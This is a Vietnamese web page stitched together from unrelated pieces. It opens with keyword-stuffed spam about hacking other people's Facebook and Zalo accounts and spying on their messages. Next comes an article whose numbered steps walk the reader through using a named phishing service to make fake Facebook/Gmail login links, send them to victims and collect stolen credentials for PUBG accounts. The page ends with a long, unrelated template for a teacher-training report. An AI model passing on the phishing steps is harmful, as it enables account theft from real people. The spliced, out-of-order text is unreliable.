Đăng Nhập Vào Nick Fb Người Khác, Cách Hack Nick Facebook Của Người Khác

--- Bài mới hơn ---

  • Hướng Dẫn Cách Lấy Lại Tài Khoản Coc Game Clash Of Clans Bị Mất
  • Cách Mod Candy Crush Saga Được Full Vật Phẩm 2022
  • Tải Candy Crush Saga Hack V1.170.0.2 (Mod, Vô Hạn Tiền) Cho Android – Modmienphi
  • Mẹo Chơi Candy Crush Saga Không Bao Giờ Hết Mạng
  • Tải Candy Crush Soda Saga Mod Apk 1.200.2 (Mở Khóa Level)
  • Tải hướng dẫn cách hack facebook chi tiết kèm code

     

     

    Lấy lại tài khoản facebook bị hack 2022

    Lấy lại nick facebook bị quên pass

    Mở nick facebook bị khóa 2022

    Lấy nick facebook bị quên

    Mở nick facebook bị vô hiệu hóa

    Hack tài khoản facebook người khác

    Lấy nick facebook bị quên

    Mở nick facebook bị vô hiệu hóa

    Hack tài khoản facebook người khác

    Mở Khóa Facebook 2022 Lấy Lại nick facebook

    Lấy nick khi bị hack

    Lấy Nick facebook bị vô hiệu hóa 2022

    facebook bị hack vô hiệu hoá 2022,

    phục hồi facebook bị vô hiệu hóa 2022,

    facebook bị hack và vô hiệu hoá 2022,

    kích hoạt tài khoản facebook bị vô hiệu hóa 2022,

    khi facebook bị vô hiệu hóa 2022,

    mở khóa facebook bị vô hiệu hóa 2022,

    khôi phục facebook bị vô hiệu hóa 2022,

    tài khoản facebook bị vô hiệu hóa là sao 2022,

    cách tạo facebook không bị vô hiệu hóa 2022,

    facebook bị vô hiệu hoá thì làm thế nào 2022,

    mở facebook bị vô hiệu hóa 2022,

    mở nick facebook bị vô hiệu hóa 2022,

    mở khóa facebook bị vô hiệu hóa 2022 2022,

    mở tài khoản facebook bị vô hiệu hóa 2022,

    tài khoản facebook bị vô hiệu hóa nghĩa là gì 2022,

    nick facebook bị vô hiệu hóa 2022,

    ních facebook bị vô hiệu hóa 2022,

    cách lấy lại facebook bị vô hiệu hóa nhanh nhất 2022,

    nhóm facebook bị vô hiệu hóa 2022,

    vì sao facebook bị vô hiệu hóa 2022,

    facebook tôi bị vô hiệu hóa 2022,

    unlock facebook bị vô hiệu hóa 2022

    , cách vào facebook khi bị vô hiệu hóa 2022,

    xóa facebook bị vô hiệu hóa 2022,

    Lê Tiến Dũng Lê Tiến Dũng Hacker

    Lê Tiến Dũng Hacker uy tín

    Lê Tiến Dũng Hacker uy tín nhất youtube

    Lê Tiến Dũng Hacker facebook

    hack mật khẩu facebook 2022

    vào nick facebook người khác không cần mật khẩu 2022

    Hack nick facebook của người khác 2022

    hack nick zalo của người khác 2022

    xóa tài khoản facebook bị vô hiệu hóa 2022,

    cách xóa tài khoản facebook bị vô hiệu hóa 2022,

    cách xử lý tài khoản facebook bị vô hiệu hóa 2022,

    xóa tài khoản facebook khi bị vô hiệu hóa 2022,

    cách xác minh tài khoản facebook bị vô hiệu hóa 2022,

    xóa số điện thoại trên facebook bị vô hiệu hóa 2022,

    fb bị vô hiệu hóa 2022, tài khoản facebook bị vô hiệu hóa 2022,

    Facebook Bị Hack Mở nick facebook Bị Hack

    Cach lay lai nick facebook bi hack khoi phuc mat khau facebook facebook bị vô hiệu hoá trong bao lâu 2022,

    facebook bị vô hiệu hóa liên tục 2022,

    facebook bị vô hiệu hóa bao lâu 2022,

    lấy acc facebook bị vô hiệu hóa 2022,

    cách lấy lại acc facebook bị vô hiệu hóa 2022,

    facebook bị vô hiệu hóa phải làm sao 2022,

    facebook bị vô hiệu hóa có lấy lại được không 2022,

    facebook bị vô hiệu hóa là sao 2022,

    lấy lại facebook bị vô hiệu hóa bằng gmail 2022,

    tài khoản facebook bị vô hiệu hoá cách lấy lại 2022,

    cách mở facebook bị vô hiệu hóa 2022,

    tài khoản facebook bị vô hiệu hóa nghĩa là gì 2022,

    nick facebook bị vô hiệu hóa 2022 ,

    ních facebook bị vô hiệu hóa 2022,

    cách lấy lại facebook bị vô hiệu hóa nhanh nhất 2022 ,

    nhóm facebook bị vô hiệu hóa 2022, tài khoản facebook bị vô hiệu hoá phải làm gì 2022 ,

    vào nick facebook người khác không cần mật khẩu 2022

    Hack nick facebook của người khác 2022

    Lấy lại tài khoản facebook bị hack 2022

    Lấy lại nick facebook bị quên pass hack nick zalo của người khác 2022

    Mở nick facebook bị khóa 2022

    Lấy nick facebook bị quên

    Mở nick facebook bị vô hiệu hóa

    Hack tài khoản facebook người khác

    Lấy nick facebook bị quên

    Mở nick facebook bị vô hiệu hóa

    Hack tài khoản facebook người khác

    Mở Khóa Facebook 2022

    Lấy Lại nick facebook Lấy nick khi bị hack

    Lấy Nick facebook bị vô hiệu hóa 2022

    lấy lại nick facebook bị hack

    hack mật khẩu facebook

    lấy lại mật khẩu facebook

    hack ních facebook

    hack nick facebook mới nhất 2022

    hack facebook trên điện thoại

    report facebook rip nick facebook người khác

    xóa ních facebook người khác

    check pass ních facebook

    vào ních facebook người khác

    xem trộm tin nhắn facebook xem lén tin nhắn

    Mở khóa tài khoản bị vô hiệu hóa Lấy lai tk facebook nhất

    The video will be taken down immediately. I will cooperate with the most fun way. Thank you! == ©

    Nguồn: https://alancarlsonmd.com

    --- Bài cũ hơn ---

  • Clash Of Clans Mod Apk (Mod Vô Hạn Tiền/th14)
  • Clash Of Clans Mod Apk 14.93.11 (Unlimited Troops, Gold, Gems)
  • Tải Clash Of Clans Hack Apk V14.93.10 (Mod Vô Hạn Tiền, Tài Nguyên)
  • Download Kuni Cam Apk V1.25.2 (Paid) For Android
  • Tải Kuni Cam Mod Apk 1.24.3 (Mở Khóa Premium)
  • Cách Hack Nick Pubg Mobile Của Người Khác 100% Thành Công

    --- Bài mới hơn ---

  • Tải Hack Pubg Mobile Cho Điện Thoại
  • Hack Pubg Mobile Mod Apk 1.5.0 (Menu
  • Download Pubg Mobile Mod (Auto Headshot 100%, Tàng Hình, Vv..) Cho Android
  • Tải Hack Pubg Mobile Mod Tự Ngắm, Chạy Nhanh, Xuyên Tường, Bỏ Cỏ
  • Hack Pubg Mobile Apk 1.5.0 (Bất Tử, Tự Ngắm) Cho Android, Ios
  • Vì sao có thể hack nick pubg mobile qua Facebook, Gmail

    Vì nick pubg mobile hiện nay cho phép chúng ta đăng nhập bằng gmail và facebook. Thế nên chỉ cần bị hack gmail và facebook thì chuyện kẻ xấu có thể hack acc pubg mobile của bạn là điều quá đỗi đơn giản.

    Chiêu trò lừa đảo được nhiều đối tượng áp dụng đó là tạo đường link với giao diện y hệt gmail và facebook thật. Khi chúng ta ấn vào link đó sẽ không thể biết đó là giao diện giả mà cứ nghĩ rằng đây là thật và thoải mái điền các thông tin đăng nhập khi bình thường. Thông tin mà chúng ta điền vào ngay lập tức sẽ bị ghi lại và chuyển về cho đối tượng hack. Dựa vào nội dung ăn cắp được kẻ xấu sẽ đăng nhập vào tài khoản gmail hoặc facebook của bạn từ đó hack acc pubg mobile.

    Quy trình cách hack nick pubg mobile của người khác

    Toàn bộ quy trình cách hack nick pubg mobile qua Facebook, Gmail diễn ra như sau:

    Bước 1: Truy cập vào trang https://smikta.net .

    Bước 2: Tạo tài khoản bằng cách nhấn vào dòng chữ Đăng ký.

    Bước 3: Điền đầy đủ các thông tin như yêu cầu. Sau đó ấn Sign up.

    Bước 4: Hiện ra thông báo như ảnh là đã tạo tài khoản thành công.

    Bước 5: Đăng nhập tài khoản vừa tạo.

    Bước 6: Đăng nhập tài khoản thành công bạn ấn vào nút Home.

    Bước 7: Sẽ có rất nhiều dịch vụ khác nhau để tạo đường link giả cho chúng ta chọn lựa.

    Bước 8; Muốn lập trang giả của Facebook hay Gmail của nước nào thì ấn vào biểu tượng quốc kỳ của nước đó.

    Bước 11: Web sẽ tự động chuyển sang giao diện đăng nhập giống với Facebook, Gmail thật.

    Bước 12; Hãy coppy đường link đó và gửi cho nạn nhân.

    Khi người đó đăng nhập tài khoản thì lập tức sẽ chuyển sang trang web không phải là Facebook hay Gmail.

    Lập tức thông tin nạn nhân sẽ chuyển về tài khoản của kẻ đánh cắp trên https://smikta.net ở mục My Victimes.

    Thông tin tài khoản của bạn đã bị kẻ xấu đánh cắp toàn bộ.

    --- Bài cũ hơn ---

  • Hack Pubg Mobile V1.5.0 (Aimbot, No Recoil, Esp) Cho Android Ios
  • Hack Aimbot Pubg Mobile Cho Iphone Ipad Chưa Jailbreak
  • Hack Pubg Mobile Vng Cho Iphone Ipad
  • Chi Tiết Cài Đặt Hack Pubg Tất Cả Các Phiên Bản Vng Quốc Tế Hàn Nhật
  • Hack Pubg Mobile Cho Iphone Hoặc Ipad
  • Bài Thu Hoạch Bồi Dưỡng Thường Xuyên Của Giáo Viên 2022

    --- Bài mới hơn ---

  • Hướng Dẫn Làm Bài Thu Hoạch Bồi Dưỡng Thường Xuyên Module 16 Tiểu Học
  • Hướng Dẫn Làm Bài Thu Hoạch Bồi Dưỡng Thường Xuyên Cán Bộ Quản Lý Tiểu Học
  • Hướng Dẫn Cách Làm Bài Thu Hoạch Bdtx Module 24 Tiểu Học
  • Kế Hoạch Bồi Dưỡng Thường Xuyên Tiểu Học Năm 2022
  • Cách Chơi 2 Tài Khoản Clash Of Clans Trên 1 Máy Cùng Lúc
  • Bài thu hoạch BDTX tiểu học

    Bài thu hoạch bồi dưỡng thường xuyên của giáo viên

    1. Nội dung bài thu hoạch bồi dưỡng thường xuyên của giáo viên

    Chương trình bồi dưỡng thường xuyên của giáo viên chia ra 3 chương trình bồi dưỡng chính cho các giáo viên, cụ thể nội dung và thời lượng tối thiểu yêu cầu như sau:

    Nội dung chương trình 1: Cập nhật kiến thức, kỹ năng chuyên ngành đáp ứng yêu cầu thực hiện nhiệm vụ năm học đối với cấp học của giáo dục phổ thông. Mỗi giáo viên cần đáp ứng thời lượng khoảng 01 tuần/năm học (khoảng 40 tiết/năm học)

    Nội dung chương trình 2: Cập nhật kiến thức, kỹ năng chuyên ngành thực hiện nhiệm vụ phát triển giáo dục phổ thông theo từng thời kỳ của mỗi địa phương. Mỗi giáo viên cần đáp ứng thời lượng khoảng 01 tuần/năm học (khoảng 40 tiết/năm học).

    Nội dung Chương trình 3: Phát triển năng lực nghề nghiệp theo yêu cầu vị trí việc làm. Mỗi giáo viên cần đáp ứng thời lượng khoảng 01 tuần/năm học (40 tiết/năm học).

    2. Mẫu bài thu hoạch bồi dưỡng thường xuyên giáo viên 2022 số 1

    BÀI THU HOẠCH BỒI DƯỠNG THƯỜNG XUYÊN Năm học………….. I. THÔNG TIN CÁ NHÂN

    1. Họ và tên: ………………………………………………………. Giới tính: ………………..

    2. Ngày tháng năm sinh: …………………….. Năm vào ngành giáo dục: ……………

    3. Trình độ chuyên môn: ……………………..

    4. Chức vụ: ……………………………………

    5. Nhiệm vụ được phân công: …………………………………………………………………….

    II. NỘI DUNG THU HOẠCH BDTX NĂM HỌC ………… (Nêu đủ 04 module nghiên cứu, học tập) III. ĐỀ XUẤT NỘI DUNG HỌC TẬP NĂM HỌC 2022 – 2022 ………., ngày tháng năm 2022 NGƯỜI VIẾT (Ký, ghi rõ họ tên) 1. Giáo viên tự đánh giá, xếp loại: 2. Ban Chỉ đạo đánh giá, xếp loại: ………., ngày…….. tháng…….. năm 2022 HIỆU TRƯỞNG (theo các tiêu chí sau) BÀI THU HOẠCH Bồi dưỡng thường xuyên giáo viên Năm học ……….. (ghi mã module, tên của 04 module trong tài liệu BDTX đối với nội dung 3).

    1. NỘI DUNG BỒI DƯỠNG THƯỜNG XUYÊN ( Trình bày việc học tập và thực hiện các nội dung bồi dưỡng thường xuyên dựa trên kế hoạch BDTX của cá nhân đã được Hiệu trưởng phê duyệt: Đạt kết quả như thế nào, rút kinh nghiệm được gì?)

    3. Mẫu bài thu hoạch bồi dưỡng thường xuyên giáo viên 2022 số 2

    Họ và tên: …………………………………………………………

    Chức vụ công tác: Giáo viên

    Trình độ đào tạo: ĐHSP

    Đơn vị công tác: Trường TH……………………………….

    Công việc được giao: Dạy HĐGD Mỹ thuật Khối 3,4,5; HĐGD Chủ điểm Khối 3,4 (Học kỳ I); HĐGD thể chất lớp 1B,3B,4C (Học kỳ 2); HĐGD Chủ điểm lớp 3B; Đạo đức 1B.

    Thực hiện kế hoạch BDTX của cá nhân năm học 2022-2019, trong quá trình học tập, tôi thu hoạch được kết quả như sau :

    PHẦN I: MODULE 15 MỘT SỐ PHƯƠNG PHÁP DẠY HỌC TÍCH CỰC Ở TIỂU HỌC I. Khái niệm và các dấu hiệu đặc trưng cúa dạy học tích cực 1. Khái niệm phương pháp dạy học tích cực:

    Nội dung 3: Căn cứ vào quy chế bồi dưỡng thường xuyên giáo viên tiểu học để lựa chọn nội dung (mô đun) bồi dưỡng sát thực, phù hợp với đặc điểm tình hình nhà trường, đối tượng học sinh và yêu cầu về nâng cao nghiệp vụ sư phạm. Bản thân chọn 4 mô đun sau:

    – Modul TH 15: Một số phương pháp dạy học tích cực ở tiểu học.

    – Modul TH16: Một số kỹ thuật dạy học tích cực ở tiểu học. – ModulTH 39: Giáo dục kĩ năng sống cho học sinh tiểu học qua các môn học. – Modul TH40: Thực hành giáo dục kĩ năng sống trong một số môn học ở tiểu học.

    2. Các dấu hiệu đặc trưng của các phương pháp dạy học tích cực. a. Dạy và học thông qua tổ chức các hoạt động học tập của học sinh.

    Phương pháp dạy học tích cực là một thuật ngữ rút gọn, được dùng ở nhiều nước để chỉ những phương pháp giáo dục, dạy học theo hướng phát huy tính tích cực, chủ động, sáng tạo của người học.

    b. Dạy và học chú trọng rèn luyện phương pháp tự học.

    “Tích cực” trong PPDH – tích cực được dùng với nghĩa là hoạt động, chủ động, PPDH tích cực hướng tới việc hoạt động hóa, tích cực hóa hoạt động nhận thức của người học, nghĩa là tập trung vào phát huy tính tích cực của người học chứ không phải là tập trung vào phát huy tính tích cực của người dạy, tuy nhiên để dạy học theo phương pháp tích cực thì giáo viên phải nỗ lực nhiều so với dạy theo phương pháp thụ động.

    Trong đổi mới phương pháp dạy học phải có sự hợp tác cả của thầy và trò, sự phối hợp nhịp nhàng hoạt động dạy với hoạt động học thì mới thành công.

    c. Tăng cường học tập cá thể, phối hợp với học tập hợp tác.

    Trong phương pháp dạy học tích cực, người học – đối tượng của hoạt động “dạy”, đồng thời là chủ thể của hoạt động “học” – được cuốn hút vào các hoạt động học tập do giáo viên tổ chức và chỉ đạo, thông qua đó tự lực khám phá những điều mình chưa rõ chứ không phải thụ động tiếp thu những tri thức đã được giáo viên sắp đặt. Dạy theo cách này thì giáo viên không chỉ giản đơn truyền đạt tri thức mà còn hướng dẫn hành động. Chương trình dạy học phải giúp cho từng học sinh biết hành động và tích cực tham gia các chương trình hành động của cộng đồng.

    Phương pháp tích cực xem việc rèn luyện phương pháp học tập cho học sinh không chỉ là một biện pháp nâng cao hiệu quả dạy học mà còn là một mục tiêu dạy học.

    Trong một lớp học mà trình độ kiến thức, tư duy của học sinh không thể đồng đều tuyệt đối thì khi áp dụng phương pháp tích cực buộc phải chấp nhận sự phân hóa về cường độ, tiến độ hoàn thành nhiệm vụ học tập, nhất là khi bài học được thiết kế thành một chuỗi công tác độc lập.

    Trong dạy học, việc đánh giá học sinh không chỉ nhằm mục đích nhận định thực trạng và điều chỉnh hoạt động học của trò mà còn đồng thời tạo điều kiện nhận định thực trạng và điều chỉnh hoạt động dạy của thầy.

    II. Một số phương pháp dạy học tích cực cần phát triển ở trường Tiểu học 1). Phương pháp đặt và giải quyết vấn đề.

    Việc kiểm tra, đánh giá không thể dừng lại ở yêu cầu tái hiện các kiến thức, lặp lại các kĩ năng đã học mà phải khuyến khích trí thông minh, óc sáng tạo trong việc giải quyết những tình huống thực tế.

    Từ dạy và học thụ động sang dạy và học tích cực, giáo viên không còn đóng vai trò đơn thuần là người truyền đạt kiến thức, giáo viên trở thành người thiết kế, tổ chức, hướng dẫn các hoạt động độc lập hoặc theo nhóm nhỏ để học sinh tự lực chiếm lĩnh nội dung học tập, chủ động đạt các mục tiêu kiến thức, kĩ năng, thái độ theo yêu cầu của chương trình. Giáo viên phải có trình độ chuyên môn sâu rộng, có trình độ sư phạm lành nghề mới có thể tổ chức, hướng dẫn các hoạt động của học sinh mà nhiều khi diễn biến ngoài tầm dự kiến của giáo viên. Có thể so sánh đặc trưng của dạy học truyền thống và dạy học tích cực như sau:

    * Đặt vấn đề, xây dựng bài toán nhận thức

    Từ sách giáo khoa + giáo viên

    Từ nhiều nguồn khác nhau : SGK, GV, các tài liệu khoa học phù hợp, internet, thí nghiệm, bảo tàng, thực tế … gắn với :

    – Vốn hiểu biết, kinh nghiệm và nhu cầu của HS.

    – Tình huống thực tế, bối cảnh và môi trường địa phương.

    – Những vấn đề HS quan tâm.

    Trong một xã hội đang phát triển nhanh theo cơ chế thị trường, cạnh tranh gay gắt thì phát hiện sớm và giải quyết hợp lý những vấn đề nảy sinh trong thực tiễn là một năng lực đảm bảo sự thành công trong cuộc sống. Vì vậy, tập dượt cho học sinh biết phát hiện, đặt ra và giải quyết những vấn đề gặp phải trong học tập, không chỉ có ý nghĩa ở tầm phương pháp dạy học mà phải được đặt như một mục tiêu giáo dục và đào tạo.

    Cấu trúc một bài học (hoặc một phần bài học) theo phương pháp đặt và giải quyết vấn đề thường như sau

    * Giải quyết vấn đề đặt ra

    – Tạo tình huống có vấn đề;

    – Phát hiện, nhận dạng vấn đề nảy sinh;

    – Phát hiện vấn đề cần giải quyết

    * Kết luận:

    – Đề xuất cách giải quyết;

    – Lập kế hoạch giải quyết;

    – Thực hiện kế hoạch giải quyết.

    * Có thể phân biệt bốn mức trình độ đặt và giải quyết vấn đề:

    – Khẳng định hay bác bỏ giả thuyết nêu ra;

    Mức 2: Giáo viên nêu vấn đề, gợi ý để học sinh tìm ra cách giải quyết vấn đề. . Giáo viên và học sinh cùng đánh giá. Mức 3: Giáo viên cung cấp thông tin tạo tình huống có vấn đề. Học sinh phát hiện và xác định vấn đề nảy sinh, tự đề xuất các giả thuyết và lựa chọn giải pháp. Học sinh thực hiện cách giải quyết vấn đề. Giáo viên và học sinh cùng đánh giá.

    – Phát biểu kết luận;

    2. Phương pháp hoạt động nhóm:

    – Đề xuất vấn đề mới.

    Mức 1: Giáo viên đặt vấn đề, nêu c ách giải quyết vấn đề. Học sinh thực hiện cách giải quyết vấn đề theo hướng dẫn của giáo viên. Giáo viên đánh giá kết quả làm việc của học sinh.

    Mức 4 : Học sinh tự lực phát hiện vấn đề nảy sinh trong hoàn cảnh của mình hoặc cộng đồng, lựa chọn vấn đề giải quyế t. Học sinh giải quyết vấn đề, tự đánh giá chất lượng, hiệu quả, có ý kiến bổ sung của giáo viên khi kết thúc.

    Lớp học được chia thành từng nhóm nhỏ từ 4 đến 6 người. Tuỳ mục đích, yêu cầu của vấn đề học tập, các nhóm được phân chia ngẫu nhiên hay có chủ định, được duy trì ổn định hay thay đổi trong từng phần của tiết học, được giao cùng một nhiệm vụ hay những nhiệm vụ khác nhau.

    Nhóm tự bầu nhóm trưởng nếu thấy cần. Trong nhóm có thể phân công mỗi người một phần việc. Trong nhóm nhỏ, mỗi thành viên đều phải làm việc tích cực, không thể ỷ lại vào một vài người hiểu bết và năng động hơn. Các thành viên trong nhóm giúp đỡ nhau tìm hiêu vấn đề nêu ra trong không khí thi đua với các nhóm khác. Kết quả làm việc của mỗi nhóm sẽ đóng góp vào kết quả học tập chung của cả lớp. Để trình bày kết quả làm việc của nhóm trước toàn lớp, nhóm có thể cử ra một đại diện hoặc phân công mỗi thành viên trình bày một phần nếu nhiệm vụ giao cho nhóm là khá phức tạp.

    * Phương pháp hoạt động nhóm có thể tiến hành:

    + Làm việc chung cả lớp:

    – Nêu vấn đề, xác định nhiệm vụ nhận thức

    – Tổ chức các nhóm, giao nhiệm vụ

    – Hướng dẫn cách làm việc trong nhóm

    + Làm việc theo nhóm:

    – Phân công trong nhóm

    – Cử đại diện hoặc phân công trình bày kết quả làm việc theo nhóm

    + Tổng kết trước lớp:

    – Các nhóm lần lượt báo cáo kết quả

    3. Phương pháp vấn đáp

    – Giáo viên tổng kết, đặt vấn đề cho bài tiếp theo, hoặc vấn đề tiếp theo trong bài.

    Thành công của bài học phụ thuộc vào sự nhiệt tình tham gia của mọi thành viên, vì vậy phương pháp này còn gọi là phương pháp cùng tham gia.

    * Vấn đáp: Là phương pháp trong đó giáo viên đặt ra câu hỏi để học sinh trả lời, hoặc học sinh có thể tranh luận với nhau và với cả giáo viên; qua đó học sinh lĩnh hội được nội dung bài học. Căn cứ vào tính chất hoạt động nhận thức, người ta phân biệt các loại phương pháp vấn đáp:

    4. Phương pháp đóng vai

    * Vấn đáp tái hiện: Giáo viên đặt câu hỏi chỉ yêu cầu học sinh nhớ lại kiến thức đã biết và trả lời dựa vào trí nhớ, không cần suy luận. Vấn đáp tái hiện không được xem là phương pháp có giá trị sư phạm. Đó là biện pháp được dùng khi cần đặt mối liên hệ giữa các kiến thức vừa mới học.

    * Vấn đáp giải thích – minh hoạ: Nhằm mục đích làm sáng tỏ một đề tài nào đó, giáo viên lần lượt nêu ra những câu hỏi kèm theo những ví dụ minh hoạ để học sinh dễ hiểu, dễ nhớ. Phương pháp này đặc biệt có hiệu quả khi có sự hỗ trợ của các phương tiện nghe – nhìn.

    * Vấn đáp tìm tòi: Giáo viên dùng một hệ thống câu hỏi được sắp xếp hợp lý để hướng học sinh từng bước phát hiện ra bản chất của sự vật, tính quy luật của hiện tượng đang tìm hiểu, kích thích sự ham muốn hiểu biết. Giáo viên tổ chức sự trao đổi ý kiến – kể cả tranh luận – giữa thầy với cả lớp, có khi giữa trò với trò, nhằm giải quyết một vấn đề xác định.

    Đóng vai là phương pháp tổ chức cho học sinh thực hành một số cách ứng xử nào đó trong một tình huống giả định.

    Phương pháp đóng vai có những ưu điểm sau:

    – Học sinh được rèn luyện thực hành những kỹ năng ứng xử và bày tỏ thái độ trong môi trường an toàn trước khi thực hành trong thực tiễn.

    – Gây hứng thú và chú ý cho học sinh.

    – Tạo điều kiện làm nảy sinh óc sáng tạo của học sinh.

    – Khích lệ sự thay đổi thái độ, hành vi của học sinh theo chuẩn mực.

    – Có thể thấy ngay tác động và hiệu quả của lời nói hoặc việc làm của các vai diễn.

    * Cách tiến hành cụ thể như sau:

    – Giáo viên chia nhóm, giao tình huống đóng vai cho từng nhóm và quy định rõ thời gian chuẩn mực, thời gian đóng vai.

    – Các nhóm lên đóng vai.

    – Giáo viên phỏng vấn học sinh đóng vai.

    – Vì sao em lại ứng xử như vậy?

    – Cảm xúc, thái độ của em khi thực hiện cách ứng xử?

    – Giáo viên kết luận về cách ứng xử cần thiết trong tình huống.

    * Những điều cần lưu ý khi sử dụng:

    5. Phương pháp động não

    – Phải dành thời gian phù hợp cho các nhóm chuẩn bị đóng vai

    – Người đóng vai phải hiểu rõ vai của mình trong bài tập đóng vai

    – Nên khích lệ cả những học sinh nhút nhát tham gia.

    Động não là phương pháp giúp học sinh trong một thời gian ngắn nảy sinh được nhiều ý tưởng, nhiều giả định về một vấn đề nào đó.

    * Cách tiến hành

    – Giáo viên nêu câu hỏi, vấn đề cần được tìm hiểu trước cả lớp hoặc trước nhóm.

    – Khích lệ học sinh phát biểu và đóng góp ý kiến càng nhiều càng tốt.

    III. Vận dụng các phương pháp dạy học tích cực trong dạy học các môn học ở tiểu học

    – Liệt kê tất cả các ý kiến phát biểu đưa lên bảng hoặc giấy khổ to.

    – Phân loại ý kiến.

    Ví dụ: vận dụng các phương pháp dạy học tích cực trong dạy học môn đạo đức ở tiểu học:

    2. Làm việc nhóm: Cùng với phương pháp vấn đáp, phương pháp làm việc nhóm nhằm giúp học sinh tham gia một cách chủ động, tích cực vào quá trình học tập tạo điều kiện cho các em có thể chia sẻ kinh nghiệm, ý kiến, hay để giải quyết một vấn đề đạo đức nào đó. Ví dụ: Ở bài 11: “Lịch sự khi nhận và gọi điện thoại” – Tiết 1. + Hoạt động 1: Giáo viên sử dụng phương pháp vấn đáp; + Hoạt động 2: Sử dụng phương pháp làm việc nhóm.

    PHẦN II: MODULE 16 MỘT SỐ KĨ THUẬT DẠY HỌC TÍCH CỰC Ở TIỂU HỌC A. TÌM HIỂU VỀ KĨ THUẬT DẠY HỌC TÍCH CỰC 1. Thế nào là kĩ thuật dạy học và kĩ thuật dạy học tích cực?

    3. Đóng vai: Đóng vai là phương pháp tổ chức cho học sinh thực hành một số cách ứng xử và bày tỏ thái độ trong tình huống cụ thể. Đóng vai gây chú ý và hứng thú cho các em. Qua đó tạo điều kiện nảy sinh óc sáng tạo của học sinh đồng thời khích lệ sự thay đổi thái độ, hành vi của học sinh theo chuẩn mực hành vi đạo đức. Qua đóng vai có thể thấy ngay tác động và hiệu quả của lời nói hoặc việc làm của các vai diễn, là phương pháp giúp học sinh phát hiện và chiếm lĩnh những nội dung học tập. Qua đóng vai các em không những được phát triển về các mặt trí tuệ, thể chất, thẩm mỹ mà còn được hình thành nhiều phẩm chất hành vi đạo đức. Chính vì vậy đóng vai được sử dụng trong tiết đạo đức như là một phương pháp dạy học quan trọng để giáo dục hành vi đạo đức cho học sinh. Nội dung đóng vai sẽ minh hoạ một cách sinh động cho các mẫu hành vi đạo đức. Nhờ vậy, những mẫu hành vi này sẽ tạo được những biểu tượng rõ rệt ở học sinh, giúp các em ghi nhớ rõ ràng và lâu bền. Qua đóng vai, học sinh được tập luyện những kỹ năng, những thao tác hành vi đạo đức, sẽ hình thành được ở học sinh niềm tin về những chuẩn mực hành vi đã học, tạo ra động cơ bên trong cho những hành vi ứng xử trong cuộc sống. Qua đóng vai, học sinh sẽ được rèn luyện khả năng biết lựa chọn cho mình cách ứng xử đúng đắn, phù hợp trong một tình huống cụ thể. – Bằng đóng vai, việc luyện tập thực hành về các hành vi đạo đức được tiến hành một cách nhẹ nhàng sinh động, không gây khô khan nhàm chán. Học sinh được lôi cuốn vào quá trình luyện tập một cách tự nhiên, hứng thú và có tinh thần trách nhiệm đồng thời giải toả được mệt mỏi căng thẳng.

    4. Động não: Cùng với phương pháp vấn đáp, làm việc nhóm, phương pháp đóng vai, thì Động não là phương pháp giúp cho học sinh trong một thời gian ngắn nẩy sinh được nhiều ý tưởng, nhiều giả định về một vấn đề nào đó. Ví dụ: Ở bài 11: “Lịch sự khi nhận và gọi điện thoại: – Tiết 1+ Hoạt động 1: Giáo viên sử dụng phương pháp đóng vai, động não. + Hoạt động 2: Sử dụng phương pháp làm việc nhóm.

    *Tóm lại: Trong các phương pháp trên, không có phương pháp nào là vạn năng, mỗi phương pháp đều có ưu điểm riêng biệt, song nó sẽ không có hiệu quả khi người dạy không biết sử dụng đúng lúc, đúng mục đích trong một tiết dạy. Hơn nữa tuỳ thuộc vào tiết 1 hay tiết 2 của một bài đạo đức mà người giáo viên sử dụng phương pháp cho phù hợp. Tiết học có đạt được kết quả cao hay không nhờ khả năng kết hợp hài hoà nhuần nhuyễn các phương pháp dạy học với nhau, lấy phương pháp này bổ trợ cho phương pháp kia.

    2. Một số kĩ thuật dạy học tích cực 2.1 Kĩ thuật đặt câu hỏi: * Người GV đặt câu hỏi khi nào? Mục đích đặt câu hỏi là gì?

    Trong ba bình diện của phương pháp dạy học (Quan điểm dạy học, phương pháp dạy học cụ thể, kĩ thuật dạy học) thì kĩ thuật dạy học ( KTDH)là bình diện nhỏ nhất. Quan điểm dạy học là khái niệm rộng định hướng cho việc lựa chọn các phương pháp dạy học cụ thể, các PPDH cụ thể là khái niệm hẹp hơn, đưa ra mô hình hành động. Kĩ thuật dạy học là khái niệm nhỏ nhất, thực hiện các tình huống hành động.

    * Đặt câu Hỏi phụ thuộc vào yếu tố nào?

    Kĩ thuật dạy học là những biện pháp, cách thức hành động của giáo viên và học sinh trong các tình huống hành động nhỏ nhằm thực hiện và điều khiển quá trình dạy học. Sự phân biệt giữa KTDH và PPDH nhiều khi không dễ dàng. Có thể hiểu rằng: Khi sử dụng PPDH ta cần phải có các kĩ thuật dạy học. Ví dụ: Khi sử dụng PP đàm thoại GV phải có kĩ thuật đặt câu hỏi….

    * KT đặt câu hỏi theo các cấp độ nhận thức như thế nào?

    KTDH tích cực là thuật ngữ dùng để chỉ các kĩ thuật dạy học có tác dụng phát huy tính tích cực học tập của HS. VD: Kĩ thuật khăn trải bàn; KT mảnh ghép; KT hỏi và trả lời; KT động não, ….

    Chủ yếu vào chất lượng câu hỏi và cách ứng xử của giáo viên khi hỏi HS

    Biết; hiểu; vận dụng; phân tích; tổng hợp; đánh giá

    2..2. Kĩ thuật dạy học theo góc

    Sử dụng câu hỏi có hiệu quả đem lại sự hiểu biết lẫn nhau giữa HS – GV và HS – HS. Kĩ năng đặt câu hỏi càng tốt thì mức độ tham gia của HS càng nhiều; HS sẽ học tập tích cực hơn. Trong dạy học theo PP cùng tham gia, GV thường phải sử dụng câu hỏi để gợi mở, dẫn dắt HS tìm hiểu, khám phá thông tin, kiến thức, kĩ năng mới. Để đánh giá kết quả học tập của HS, HS cũng phải sử dụng câu hỏi để hỏi lại, hỏi thêm GV và các HS khác về những nội dung bài học chưa sáng tỏ.

